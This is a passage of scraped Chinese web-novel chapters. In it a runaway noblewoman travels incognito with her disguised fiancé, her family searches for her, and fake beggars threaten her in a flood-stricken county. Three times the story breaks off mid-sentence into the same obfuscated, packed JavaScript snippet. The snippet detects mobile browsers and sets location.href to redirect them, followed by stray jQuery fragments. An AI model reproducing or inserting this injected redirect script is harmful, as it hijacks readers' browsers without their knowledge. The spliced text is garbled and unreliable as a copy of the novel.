徐肃年唇角的弧度一下子僵住,他睨了一眼熟睡的小娘子,然后毫不留情地掰开了她抓在自己衣服上的手,径直出去了。
而盛乔对这一切都全然不知,她这一觉睡得很沉,半夜琥珀给她擦脸换衣服都没有一点反应,直到次日天光大亮才醒。
虽没吃药,但她的高热已经基本退下去了,只是这一夜烧得她更加口干,还没睁开眼就迷迷瞪瞪地说要喝水。
琥珀就睡在她旁边,听到动静立刻醒了,起身给她倒了杯水。
盛乔半撑起身子,小口小口地喝完了一大杯温水,才觉得自己彻底活过来了。
她看向窗外,“什么时辰了?”
琥珀说:“都快午时了。”
盛乔自己都被吓到了,“我怎么睡了这么久?今天不赶路了么,怎么没早点叫我。”
“小娘子还说呢。”琥珀扶着她坐好,嗔怪道,“您昨晚一回来就发了高热,今天还是好好休息罢,哪能赶路。”
原来是发了高热,难怪身上这么难受,盛乔揉了揉酸痛的太阳穴,然后缓缓点了点头。
琥珀问她:“从昨天开始就没吃什么东西,小娘子饿不饿?我去给您买点吃的回来,正好还要让客栈里的伙计帮着把药熬了。”
盛乔却摇了摇头,“躺得太久腰酸背痛,我自己去吧。”
“那我陪您一起……”
话未说完就被拦住了。
盛乔看着琥珀熬红的双眼,知道她昨夜定然是没睡好,便道:“好琥珀,你也累了,就在房间里休息吧,我一会儿叫人把饭菜给你送上来。还有煎药的事,你把药方给我,我下去之后,自己去和伙计说。”
这如何使得?琥珀皱起眉,可还没开口,就又被盛乔按了回去。
“琥珀,”盛乔的语气很认真,“虽然我总是需要你的照顾,但有些事,我也能自己做。”
没想到她会这么说,琥珀不由得有些发愣,盛乔拍拍她的肩膀站起身,朝她眨了眨眼,“我记得你是最爱吃河鲜,只是不知道这小地方有没有,你好好休息,我下去逛逛,然后叫人给你送上来。”
琥珀心下一热,没再拒绝。
简单梳洗之后,盛乔重新换上男装,揣着荷包来到大堂。
她身上的高热还没有完全消退,但不知是不是这一觉睡得沉,此时很有精神。
到了楼下大堂,盛乔先给琥珀点了一大碗翡翠鱼面和一碟清拌笋尖,让她早早吃完能多休息一会儿。又从怀里掏出药方,请客栈里的伙计帮忙抓药熬药。
伙计一一应下,又问:“小娘子还有别的吩咐吗?”
盛乔自己的午膳还没点,但她站在满墙的菜牌前面,一时竟有些难以决断,于是朝伙计挥了挥手,打算好好考虑一下。
算起来,她从昨天到现在,就只吃了一张能把人噎死的烤饼,现在肚子空空,饿得感觉能吃下一头牛。而且自从上个月她知道了定亲的事后,一直都吃不下睡不着,腰身都细了一圈。
此时总算不用再担心嫁人的事,盛乔看着墙上的每一道菜都很顺眼,每一样都想吃。
可她只有一个人吃,连琥珀都不在。
盛乔正有些遗憾,忽然余光瞥见楼梯上走下来一个熟悉的人影。
她立刻欣喜地叫住他:“徐少安!”
高热未退,盛乔的声音还带着些许的沙哑,却盖不住她的声音大,几乎整个大堂的人都听见了她这一声喊,打量的视线纷纷投向楼梯上的男人。
便是淡定如徐肃年,也脚步一顿。
其实刚走下来的时候,他就看到那位盛小娘子了,看她像饿死鬼投胎一样站在满墙的菜牌子前头,那虎视眈眈的架势,仿佛那不是写着菜名的牌子,而是什么真的山珍海味。
虽然徐肃年不觉得这小镇的客栈里能做出什么山珍海味。
但盛乔看了好久,久到徐肃年都有些怀疑自己是不是认错了人。
这馋鬼模样,真的是燕国公府的小娘子吗?
他一边腹诽一边往下走,本想找个偏僻的位置坐下,不想被她发现,还叫他名字叫得这么大声。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279238|166759||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他众目睽睽之下走到她身边,期间没忍住屈指敲了敲眉心。
盛乔根本没注意到他的动作,一心琢磨等会儿吃什么,她很热心地问:“徐少安,你用过午膳了吗?”
徐肃年:“尚未。”
果然,盛乔眉眼绽开笑意,“我也没吃,坐下一起用吧。”
徐肃年本能想要拒绝,盛乔却根本不等他的回答,直接扯住他的袖口,将人拉到了最近的座位上走。
一个小娘子能有多大力道,徐肃年轻易就能抚开,可低头间看到她单薄细瘦的肩骨,又怕一个用力就把她手腕拧断,到底还是松了力道。
两人走到桌边坐下,有眼力见的伙计立刻凑上来,“小娘子和郎君这会儿想吃些什么?”
盛乔早想好了,但为了不那么明显,故作矜持地把眼神递到对面的男人身上。
徐肃年又如何猜不到她的心思,无奈地揉了下眉心,道:“我也不知吃些什么,就全凭小娘子做主罢。”
盛乔等的就是他这句话,立刻道:“那好吧。”
然后对伙计说:“先要一份炙羊肉,一份芙蓉鸡片,再来一盅笋尖火腿羹,两碗杏仁酿豆腐……”
她一口气说了七八道菜,徐肃年的眉头越蹙越紧,忍不住问,“小娘子,你能吃得了这么多?”
盛乔却道:“我一个人自然吃不了,可不是还有你呢么?”
他又不是饭桶,哪能吃得了那么多。
徐肃年看她这胃口大开的模样,忍不住道:“看来小娘子也是大好了,不如下午就接着赶路吧。”
徐肃年不冷不热地开口,本意是想嘲讽她的贪吃。
不想盛乔根本没听出来,反而赞同地点了点头,“好,等琥珀休息好了,我们就启程。”
这下反倒让徐肃年惊讶了。
昨天颠簸了那么久,又突发高热,睡一宿醒来,脸色还是苍白如纸。
徐肃年本还以为,她就算不说一辈子对马车敬而远之了,也该趁此机会多歇几天。
没想到她竟真点了头,且神色之中没有半点被强迫的抗拒。
他忍不住问:“小娘子不再休息两日?”
盛乔摇头,“不必了,我能坚持。”
现在离长安还是很近,万一阿爹派人追上来怎么办。她早就决定好了,“还是继续赶路吧。”
这小娘子看似柔弱,意志倒是十分坚定,徐肃年一时都有些佩服。
可转念一想,她这么片刻不停地跑,不就是为了不嫁给他吗。
想起她昨天的那句梦话。
徐肃年看向她的眼神又蓦地复杂起来。
盛乔感觉到他一直在看自己,还以为是方才匆忙出门,头发没有梳好。
她抬手摸了摸脑袋,又摸了摸脸,茫然地问:“怎么了?你在看什么?”
“无事。”徐肃年摇了摇头。
恰在这时伙计过来上了两道菜,菜肴鲜香扑鼻,盛乔也不再纠结,立刻把注意力挪到了饭菜上。
徐肃年却没了胃口,他将那两盘菜往对面的方向推了推,然后佯装无意地开口,“昨晚去给小娘子诊脉,无意听到小娘子的呓语。”
“小娘子已经定亲了么?”
5. 盛家
5.
今天盛乔醒来之后,琥珀已将昨晚发生的事都告诉了她,她也知道是眼前这人给她把脉写的药方,却不知什么梦呓的事。
她甚至完全不记得自己做过梦。
不会无意间说了什么暴露身份的话吧,盛乔忽然有些紧张,支支吾吾地问:“我,我说梦话了么?都说了什么?”
徐肃年:“叫爹,叫娘,说不想嫁人。”
还好没把徐肃年的名字说出来,盛乔松了口气。
徐肃年观察着她的表情,又故意问:“小娘子缘何不想嫁人?”
其实这话对于两人现在的身份来说,已然十分逾越,但或许是同坐一张桌子的缘故,也可能是徐肃年的语气特别理所当然,总之更像是在闲谈。
盛乔果然也没觉得冒犯,只以为他是好奇自己的身份,毕竟接下来一路都要同行,她并不介意他问这些。
但也不能将实话告诉他,盛乔想了想,开始胡编:“因为家里为我选的未婚夫,是个视人命如草芥的纨绔,依仗家里势力,死缠烂打硬要强娶,你说,这样的人如何能嫁?”
“……”
徐肃年沉默不语。
盛乔说着说着,忽然自己真情实感起来,她是真的觉得这桩婚事对她来说就是无妄之灾。
“真不知道为什么就选定了我。”盛乔叹气。
难道是徐家想借助燕国公府的势力,可即便她不懂朝政,也知道徐肃年很得圣上恩重,在朝中官职甚至比他三哥还要高上一阶。
还是存着这样心思的其实是她阿爹阿娘?是他们想攀上丹宁长公主的势力。
可她觉得阿爹阿娘不是这样的人,何况以盛家今日的地位,应当不需要再联姻了吧。
若是与家室无关,难不成是和她这个人有关?
她虽然没见过徐肃年的模样,但是同在京城,保不齐徐肃年在哪见过她呢?
那些话本子上不都是这么写的么,世家公子不知不知在哪偶遇了貌美的女郎,遥遥一眼,从此一见倾心,并在心中暗暗发誓,对她势在必得。
这么想着想着,她竟不知不觉地将这话问了出来,“徐少安,你说,他会不会是喜欢我?”
她看向对面,带着一点不解的茫然,像是学堂里向夫子请教问题的学生,满脸求知。
时下虽然民风开放,但闺阁女子大多还是端庄矜持的,尤其是出身高门的娘子们,因为她们不仅代表着自己,更代表着身后的家族。
因此这些世家娘子,多沉稳少言。
至少徐肃年见到的都是如此。
自他过了十八岁,母亲就一直有给他说亲的打算。去年甚至专门办了一场春宴,请他和一位小娘子私下相看。
徐肃年虽没有成亲的意愿,但一向不会违拗母亲的意思,于是和那位小娘子在水榭里说了几句话。
虽然到现在徐肃年已经忘了她是谁,甚至不记得她的模样,但对她拘谨规范的礼仪却印象深刻。
总之是和眼前这位截然相反。
徐肃年也不是没和盛家人打过交道,甚至和盛家三郎君同在大理寺为官,知道这一家子男人都是沉默寡言的性子。
尤其是盛乔的父亲盛怀义,虽有公爵在身,官职却只有五品,是平时上朝都注意不到的低调人物。也因此世人都说他是靠祖上封荫才有今日的位置,实际能力远不如他那个镇守边疆的二弟。
但徐肃年并不赞同,他一直觉得盛怀义是个聪明人。
否则,燕国公府绝不会屹立至今。
但没想到的是,盛怀义的女儿竟是个天真又话多的小傻子。
而且如此自信,毫不吝啬地往脸上贴金。
他心里冷笑,不冷不淡地嘲讽,“我觉得小娘子说得对,毕竟小娘子如此美貌,世间男子谁会不喜欢。”
只可惜盛乔完全没听出他的阴阳怪气,反而有些苦恼地揉了揉眉心,嘟囔道:“看来下次出门,还是该带上帷帽才是。”
徐肃年本该生气的,但不知是不是这两天已经习惯了,好笑之下还有些无奈。
他是真的第一次见到这么自信的小娘子。
徐肃年忍不住夸她:“小娘子还真是自信啊。”
盛乔这回没再说什么离谱的话,只奇怪地看了他一眼。
徐肃年没明白她的意思,“小娘子看我做什么。”
盛乔哼了一声,说:“我只是在看你有没有长眼睛。”
徐肃年:“?”
盛乔颇为骄傲地睨她一眼,“如果你长了眼睛,就该知道,我有这张脸,是可以自信的。”
徐肃年:“……”
他很想否认,可一抬头正看到那双明媚的眼,所有的冷嘲热讽又都咽了下去。
他忽然觉得自己也很可笑,和一个天真的小娘子计较什么。
就算她对自己的印象不好又如何,他应该更庆幸才是。
总归这桩婚事是结不成的,这位盛小娘子一辈子都不会知道他是谁。
何况他在市井间的名声一向很差,这点他不是早就清楚么。
徐肃年暗自警告自己,闲散几天还真把正事忘了。
不久就要到达洛州,他该去看那些官员的资料,而不是和一个不经事的小娘子绕来绕去地浪费春光。
于是,他难得没再反驳,只顺着方才的话恭维了两句。
小娘子听了这话果然很高兴,甚至朝他得意地哼了一声。
徐肃年只当没看见。
这时剩下的几道菜也都上齐了,两人专心吃饭,谁都没有再说话。
用过午膳各自回房,徐肃年对盛乔说:“还是再休息半日,明日再出发。”
盛乔却有些焦急,“可……”
徐肃年直接打断她的话,“放心吧,你家里的人一时半会儿是追不到这的。”
这话倒是没骗人。
因为他们此行坐的是徐肃年的马车,盛乔事先定下的马车根本没出京。
燕国公府就算派再多人查,也根本查不到踪迹。
京城,燕国公府。
燕国公盛怀义本靠在书桌后假寐,一听到外面传来脚步声,立刻从椅子上弹了起来,“找到阿乔了么?”
进来的是盛家的两位郎君,大郎盛泽和三郎盛淙,两人的脸色都有些难看,听到盛怀义的话,沉默着摇了摇头。
盛泽说:“我今日带人去了那家赁车坊,那里的掌柜说阿乔是提前就雇了马车,约好昨天卯时在吉庆街街口见,随后我和三郎又带人去了吉庆街,但那辆马车还在街口停着,阿乔应当是根本没坐那辆马车。”
自发现女儿离家出走之后,盛怀义一天水米未进,整个人像是老了十岁,他揉了揉眉心,问问:“只雇了马车,没有雇车夫么?车夫呢?”
盛泽看了一眼盛淙,然回答:“车夫,现关在大理寺。”
“什么?”盛怀义问,“怎么会在大理寺?”
盛淙就是在大理寺供职,此时上前一步,回答:“昨天早上,大理寺正好结清了周茗那桩旧案,于是贺少卿带人去春和街周府拿人,那里离着吉庆街不远,锁街搜查的时候,正好查到了那个车夫,因为行迹鬼祟,当时都怀疑他是周府逃跑的家丁,就一并锁回了大理寺。”
盛怀义问:“他见过阿乔没有?”
盛淙道:“没有见过,他和
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279239|166759||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
阿乔会面凭的是一对玉佩,但据他所说,他手上那枚已被官兵收缴了,我又去问那日去过周府的几个差役,却没一个人见过什么玉佩。”
玉佩找不到,人也没见过,线索到这就算是断了,就算他们已经派了许多人出城去找,可城外道路何止千百条,人海茫茫,哪有那么容易找到。
盛泽和盛淙都有些沮丧,盛淙说:“派出城的人到现在还没有消息,会不会阿乔根本没离开长安,只是吓唬吓唬我们,借此退婚而已?”
盛怀义脸色苍白地摇了摇头,无力道:“这孩子,是恨上我和你阿娘了。”
盛泽和盛淙听了都有些不是滋味,上前想劝,却见盛怀义朝他们两个摆了摆手,无奈地吩咐道:“再多派些人,城外城内都要找,但不要闹太大动静,若是徐家那边知道了,只怕亲家不成成仇家了。”
盛泽和盛淙出去了,盛怀义又在书房独坐了一会儿,强撑起精神,起身往平时歇息的主院走。
还没进院子,就听到一阵急促的脚步声从屋里卷出来。郑夫人眼睛已经泛红,上来就问:“阿乔呢?”
盛怀义愣了愣,“夫人知道了?”
郑夫人狠狠瞪他一眼,然后从怀里掏出一封信,“这么大的事你还想瞒我!”
盛怀义接过那封信拆开,一目十行看完,竟然是郑墨写来的信。
信里先是坦白承认了阿乔逃婚的主意是她帮忙出的,阿乔离开京城,也是来找她。然后又将最近一个月来阿乔在信中给她倾倒的苦水一一告知。
最后写道——
“这世间因婚事自苦的女子已经太多太多,墨儿之所以帮她逃婚,是不愿自幼娇贵的阿乔表妹也因此深陷泥沼,但墨儿毕竟只是阿乔表姐,如果姑姑、姑父当真铁石心肠,只要回信写明,墨儿会再将她亲自送回京城。”
这封信看似是来让他们二人放心,实际如一把利刃,狠狠刺进了他们的心里。
郑夫人拿帕子抹了抹眼泪,自责道:“都怪我,当初要是不带她去除夕的宫宴,如今咱们也不至于要急着把阿乔嫁出去,更不会闹到今天这个地步。”
盛怀义更是后悔,叹道:“也是我不好,不该那么逼她,我也是没想到这孩子胆子那么大,平时连府门都没出去过几次,这回竟敢直接跑出京城。”
“走都走了。”郑夫人点点那封信,问他,“现在怎么办?”
盛怀义瞧着她的表情,就知道她已经有了决定,于是问道:“夫人的意思呢?”
郑夫人说:“干脆退婚吧,这桩婚事虽好,可阿乔都这般不情愿了,最后的结果也只能是怨偶一对。”
盛怀义听了这话并不惊讶,他无奈地说:“也只能如此了。”
郑夫人叹气,“只是怕宫里知道,又生事端……”
盛怀义安慰的拍了拍夫人的肩,搂着她往屋里走,“夫人放心,我已问过三郎,他说徐肃年最近也不在京中,不知是去哪办案子了。”
“若我没猜错,他应当是去洛州探查去岁公粮贪污一案,这案子不小,要想查清,少说也得耗个把月。因此徐家这门亲还可以再拖一拖,等一个月后徐肃年从洛州回来,这婚再退也不迟。”
“只是要对不住长公主那边了。”
盛怀义哼了一声,“只怕徐肃年选在这时候去洛州,也是没把咱们阿乔放在眼里,要不然那天下聘,也不会连个面都不露。”
“其实这桩婚事我本身也不满意,徐家太显眼,徐肃年又封了侯,正是花团锦簇的时候。若不是当初实在走投无路,我也不会答应把阿乔嫁给他。”
“现下正好,等到时候和徐肃年退了婚,再给咱们阿乔找更好的。”
6. 银票
6.
家中发生什么,盛乔全然不知。
她离开长安已经五天了,除了因突发高热休息了一日外,之后便又开始马不停蹄地赶路。
盛乔仍旧不太习惯,甚至一度想要放弃回京算了,可每次还没开口,那个可恶的车夫就会用一种“果然如此”的眼神看她,仿佛早知道她要半途而废。
于是,为了不被看轻,盛乔竟咬牙坚持了下来,甚至在第六天马车慢下来时,她还故意凑到车夫身边问:“今天怎么走得这么慢?你累了吗?”
徐肃年这几天话都很少,这会儿也假装没听出她的弦外之音,一本正经地回答:“明日就能到洛州,今日就不必再着急了,这几日赶路辛苦,找个地方住下,小娘子也能多歇一会儿。”
他说得冠冕堂皇,实际私心不少。
洛州城的确近在眼前,若是快的话今晚就能到,但徐肃年并不想这么快就进城。
去岁贪污公粮一案令皇帝震怒,他深知洛州官员腐败严重,下辖郡县也不会有多干净。
反正卢烨已经到了洛州,因此徐肃年打算先在附近的几个穷困县里看看,官员或许会层层相护,但百姓却不会说谎。
再往前就是洛州下辖的洛水县,因临近洛水,去岁是受灾最严重的地方之一,朝廷拨款一百万两抚恤灾民,可直到现在,洛水县都还没有恢复元气,连城墙都看着破破烂烂的。
盛乔原本只是好奇今日宿在哪,因此才开了半扇车门往外看,不料扑面就是一股难以言明的臭味,熏得她连忙捂住鼻子。
“这,这是哪?”她瓮声瓮气地表示震惊。
徐肃年看她一眼,冷淡道:“洛水县。”
她从前没有出过京城,这几日歇脚的城镇在她看来已经很是偏僻,没想到还有这样的地方,连城门都摇摇欲坠。
除此之外,城门口还聚集着很多难民,穿着破旧的单衣,蓬头垢面地挤在城墙下,露出来的皮肤都冻得没有一点血色。
大约已经很久没有外人来了,这些人难得看到马车,此时就像是看到米缸的老鼠,一窝蜂地就涌了上来。
盛乔被他们这阵仗吓了一跳,以为他们是要拦截马车,下意识就躲到了徐肃年的身后。
但难民们围上来之后,并未有任何危险的举动,只是扑通扑通地全部跪倒,哀求道:“好心的娘子,给些吃的吧……”
“求求郎君娘子给些吃的吧……”
长安城锦绣繁华,盛乔更是从小锦衣玉食,娇生惯养,此生吃过最大的苦就是逃婚,何曾见过这样的场景。
她心软,只看他们这可怜的样子就已经想哭了,更别提其中还有几个缺胳膊断腿的,艰难爬蹭过来,也跪在人堆里学着乞讨。
“大家别急。”盛乔眼眶又酸又胀,忙朝车内坐着的琥珀伸手。
琥珀说:“小娘子,咱们没吃的了。”
越往南走天气越热,马车里没存着太多吃的,怕会生味。
盛乔看着底下伸过来的一双双手,伶仃的骨节几乎都撑不住皮肉。
让她就这么掠过不管是肯定做不到的,于是道:“没有吃的就拿些银子来。”
未料琥珀还没答应,身前的男人忽然出声阻拦,“没有吃的就算了。”
徐肃年用只有两个人能听到的声音说,“小娘子坐回去,咱们先进城。”
盛乔不敢相信,“他们这么可怜,不知多久没吃过饭了,你却让我袖手旁观?”
徐肃年冷淡地睨她一眼,平静地反问:“天下难民那么多,你救的过来么?而且你有那么多银子吗?”
“我……”
盛乔被这话问得噎了一下,她毕竟也是在外面,盘缠带得再多,也总有花完的一天。
但当视线瞥到那空了半截袖管的年轻人之后,她又立刻什么都顾不上了,愤愤道:“就算没有那么多银子,我尽力而为对得起自己的心,不像有些人,没有半点怜悯之心。冷血!”
说完,她接过琥珀递过来的荷包,把里面零零散散的三十两碎银子,全部分发给了地下的难民,“大家拿去买点吃的吧。”
不料难民们接了银子之后,却没有半分要退开的意思,仍旧死死地围着马车,一个个细如树枝的手腕高高地伸到盛乔面前。
离家的时候为了方便,盛乔拿的基本都是银票,这三十多两已是她手头所有的银子了。
再拿就要拿银票了,可她哪有那么多银票分给他们。
盛乔努力解释,“我没有碎银子了,这些已经够你们吃上一个月的肉了,大家让开吧。”
可根本没人听她的,难民们挤得越来越凶,甚至还有一些在远处看热闹地百姓都循声围了过来,险些把蹲在车辕处的盛乔挤下马车。
这样下去也不是办法,盛乔犹豫了一下,又想找琥珀要几张银票再分给难民。
徐肃年偏头看她一眼,没去扶,也没说话,只刷的一抽马鞭。
鞭子如炮仗般在半空中炸开,难民们被吓到,围挤的动作稍稍松了些,徐肃年立刻趁着这个机会架着马车冲了出去。
难民们慌忙逃散,但也有人太过执着想要扒车而被狠狠甩到了路旁。
尖叫、斥骂声顿起,徐肃年只当没听见,一路狠抽马鞭,直接冲进了洛水县城门。
但也因为他加速的太突然,盛乔根本没来得及躲进车厢里,这一路就在车门边上挂着,如果不是紧紧抓住了男人的手臂,后面又有琥珀扶着,只怕她就要掉下去被马踩死了。
等到了客栈,马车终于停下来。
盛乔的鬓发散乱,惊魂未定地看着眼前一脸淡定的男人,生气道:“徐少安,你疯啦!”
徐肃年冷冷地睨她一眼,“现在进城了,前面定然有兑换银子的钱庄。小娘子善心,可以把剩下的银票都兑了,再去发给他们,只是我就奉陪了。”
说完,他将盛乔抓在自己手臂上的手扔开,径直进了客栈。
盛乔从不知道他的力气这么大,不过一抓一放,她的手腕已经青了一大片。
这人到底还记不记得自己的身份啊!
盛乔疼得眼泪汪汪,瞪眼看着男人离开的背影,生气地喊:“疯子!”
盛乔的脾气一向很好,对徐少安这个车夫一直以来的僭越也没怎么放在心上,可这会儿她是真的恼了,甚至气得连午膳都没吃。
一直闷到申时,空了一天的肚子忽然咕咕叫,盛乔的气也差不多消了。到楼下想找店小二要些吃的,店小二却说这个时候客栈里没有饭菜,想吃东西得去专门的食店、饼店。
盛乔问过怎么走之后,本想先回屋叫琥珀一起去,但想到她这几日在路上都十分困倦的样子,犹豫了一下干脆没上楼,自己一个人出了客栈。
店小二说的食店离着客栈并不远,盛乔走了一百来步就到了,食店很小,里面也没有什么人。
盛乔出门在外几天了,在吃的上面早就不矫情了,很快点了一碗素面坐到了平时最爱坐的窗口位置。
她喜欢坐在窗口,是因为这里总是能看到街景,但在这洛水县,街上根本没有几个人,甚至开门的商铺都很少。
盛乔觉得有些奇怪,却想不出为什么,慢慢吃完了一碗面,回去路上,遇到了几个衣衫褴褛的男人。
盛乔被他们吓了一跳,侧身想要避开,但他们竟在大街上就直接将她围住,一副虎视眈眈的架势。
盛乔转身想跑,想去找方才那个食店的老板求助,请他帮忙报官,不想这才走出去没十步,食店竟直接关窗落锁了。
后面的人已经追了上来,盛乔下意识后退,退到后背抵到了食店的门板上,就再无路可逃了。
盛乔又慌又怕,大街上空空荡荡,想求救都不知道叫谁。
那几个人笑嘻嘻地把她挤到墙角,“好心的小娘子,赏我们点吃的吧。”
这熟悉的话一下子让盛乔想起什么来,她抬头定定地看着眼前的人,越看越觉得他像是城外那个没有胳膊的难民。
可他现在,明明是健全的!
盛乔瞪大眼睛,“你们,你们不是……”
那几个人彼此对视一眼,笑起来,站在最前面的人搓了搓手,说:“哥几个在城门口蹲了好几天了。你们是唯一停下来的一辆马车,咱们大家都等着女菩萨散功德,给我们兄弟漏点油水,不想被个车夫搅烂了。没办法,才来找小娘子私下讨要。”
盛乔这才意识到被骗了,他们根本不是什么可怜的难民,只是故意博人同情、为非作歹的地痞流氓。
她吓得脊背都生出冷汗,摇头道:“我把钱都给你们了,没有了。”
“没钱?”
最前面的那个人明显不信,直接伸手拽下了盛乔挂在腰间的荷包,解开一看,果然只有几个铜板。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279240|166759||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>他一边把铜板塞进怀里,一边失望地哼了一声,“还真是穷鬼啊。”
旁边人凑过来,说:“大哥,你看她身上这身衣裳,也值不少钱吧,还有她这个脸蛋儿,如果卖到——”
后半句话还没说出来,就被人一脚踹飞,撞到墙上磕了个头破血流。
所有人都吓了一跳,包括盛乔,她已经被吓得蜷缩在了墙角,此时循声望去,只见那个刚刚被她骂过的徐少安正缓步往这边走来。
那几个人也都没想到会在这时候杀出个程咬金,再一细看,来的不正是刚才那个搅事的车夫,几人彼此对望一眼,齐齐冲了上去。
盛乔一颗心都要提到嗓子眼了,想叫他的名字,又怕惊扰了他的注意,害他受伤。
虽然徐少安很高很壮,但到底双拳难敌四手,她实在有些担心。
不过她很快就发现,自己的担心有些多余,对于徐少安来说,这几个地痞流氓根本不算什么,甚至没看到他用什么力气,直接抬腿一脚一个,就把这群人全都踹翻在地,甚至有几个直接呕了一口鲜血出来。
盛乔已经被惊得说不出话。
徐肃年并没有下死手,所以得他们俩赶快离开。
可眼看着那小娘子还愣在原地,他皱了皱眉,直接上前抓住她的手腕,在那些人再度爬起来之前,拉着她跑了。
男人腿长脚长,平时迈一步就能顶上盛乔两三步,更遑论是疾跑起来。
盛乔觉得自己像是一只还没有起飞的风筝,风筝线被别人握在手里,她别无选择,只能跟着拼命地往前跑。
直跑到盛乔觉得自己快要累死了,喉咙里像是被灌了一大篓热碳的时候,抓着她的男人终于停下了。
盛乔一手被他拉着,一手撑在膝盖上不住地喘,片刻后又想起什么,懵懵地看着周围的环境,“我,我们……我们这是跑到哪来了?”
徐肃年却是脸不红气不喘,他松开了少女的手臂,淡定道:“我也不知道。”
盛乔:“?”
“怎么会不知道?”她甚至以为自己听错了,惊道,“不是你带我跑到这来的吗?我,我以为我们是要回客栈!”
徐肃年蹙眉看了她一眼,说:“那群人还没死。”
盛乔没懂什么意思,水润的眼睛眨了眨。
徐肃年说:“你想把那群人引到客栈去吗?”
盛乔这才反应过来,连忙摇了摇头。
“再等一会儿吧,我们绕路回去。”说完这句,徐肃年就没再开口,倚着身后的墙壁充当门神。
盛乔喘了半晌才稍稍平复,她其实也想靠墙歇会儿,但刚才跑得两条腿又酸又麻,稍一抬腿就想叫,她只能强忍着又放回去,局促地立在巷子中间。
莫名有些不自在,盛乔假装很忙似的左看看右瞧瞧,最终把视线落在了倚墙而立的男人身上。
他真的只是车夫吗?
长得又高又俊也就罢了,居然还会功夫,而且看起来功夫很不错。
盛乔骤然想起他方才将那个流氓一脚踹飞的模样,犹豫了一下,还是主动开口问道:“徐少安,你方才受伤了吗?”
徐肃年:“没有。”
他的语气明显比平时冷淡许多,盛乔小心翼翼地又觑一眼,是还在为上午的事生气吗?
好吧,她当时不该骂他是疯子。
盛乔咬了咬唇,再次主动开口,“谢谢你救我。”
他的语气仍然冷淡,“小娘子客气了,这是我应该做的。”
盛乔摇头道:“没有什么应不应该,你能来救我,我很感激。”
听到这,徐肃年才终于有了一点反应,但也只是侧身过来看了她一眼,便又把头转过去了。
这男人脾气好大。
“你还在生气吗?”
盛乔犹豫半晌,还是忍着小腿酸胀走到他身边,又怕他会把自己甩开,干脆直接抓住男人的袖子,探头去看他的正面表情。
徐肃年本来不想理她,却被她拉着袖子强行低下了头,这下正对上小娘子那双眼,像在水里浸润过的葡萄似的,又圆又亮。
“你还在生气吗徐少安?”她的声音听起来有点委屈。
徐肃年其实并没有生气,但在这一刻他忽然不想否认。
果然,又听她接着说道:“对不起啦,我今天不该骂你。”
“别生气了好不好?”
7. 背我
7.
自从就职大理寺后,徐肃年的名声就一直不是很好。
冷血、酷吏、残暴,几乎成了他的代名词,甚至前两年有新科进士为了博名声,特意写了一篇针对他的赋论,被保举进了御史台。
此后,诸如此类的事情更是屡禁不绝。
对于这些外界看法,徐肃年并不在意,或者说是早已习惯。
因此今天盛乔骂他冷血的时候,他是真的不生气,只是有一种,果然如此的感觉。
但他没想到盛乔会向他道歉。
这样的经历很是陌生,以至于他明显地愣了一下,而后竟然有些不知道要说什么。
盛乔见他不说话,以为他没听见,有些心急地推了推他的胳膊,“你听到我说话没有啊?”
徐肃年总算回过神,但仍是维持着冷脸,“听到了。”
怎么是这个反应?
盛乔不太满意,圆溜溜的眼睛就那么直勾勾地地看着他,偏要听到他的回答才罢休。
徐肃年被她盯得莫名不自在,咳了一声,说:“等了差不多一刻钟了,那些人应该走了,回客栈吧。”
说完,他拍了拍衣袖的褶皱,径直从她面前走了过去。
盛乔将眼睛瞪得更大,她不敢相信自己刚才叽里呱啦说了那么多,这人却一点表示都没有。
甚至还直接走了。
盛乔恼怒地追上去,却忘了自己的两条腿还疼着,此时骤然抬腿,小腿又酸又胀又痒,她险些被自己绊倒在地。
盛乔没忍住,哎呦一声叫出来。
徐肃年闻声回头,只见那小娘子半蹲在地上,两手按着小腿使劲地揉。
徐肃年往回走了几步,蹙眉问道:“怎么了,受伤了?”
不知道为什么,盛乔一点也不想理他。
徐肃年眉头皱得更紧,“到底怎么了?”
他的语气带有一点焦急地催促,听在盛乔耳朵里却是不耐烦的意味。
“你那么凶干嘛呀。”她有些委屈,“我从来没见过那么多的难民,当然忍不住心软了,我也没想到他们会是骗子,而且还一直跟着我,还把我的荷包都抢走了……你现在还凶我……”
盛乔本来是带着一点委屈,说到方才的事,又有些藏不住的后怕,到最后甚至眼眶都红了。
“而且我也不是故意要骂你的嘛,我以前,我以前都不骂人,谁让你那么粗暴,差点把我从车上甩下去,我都要吓死了……”
徐肃年被她叽叽喳喳的控诉吵得脑袋疼,他无奈地揉了揉太阳穴,走到小娘子身边,将语气放缓了一些,“所以,到底怎么了?”
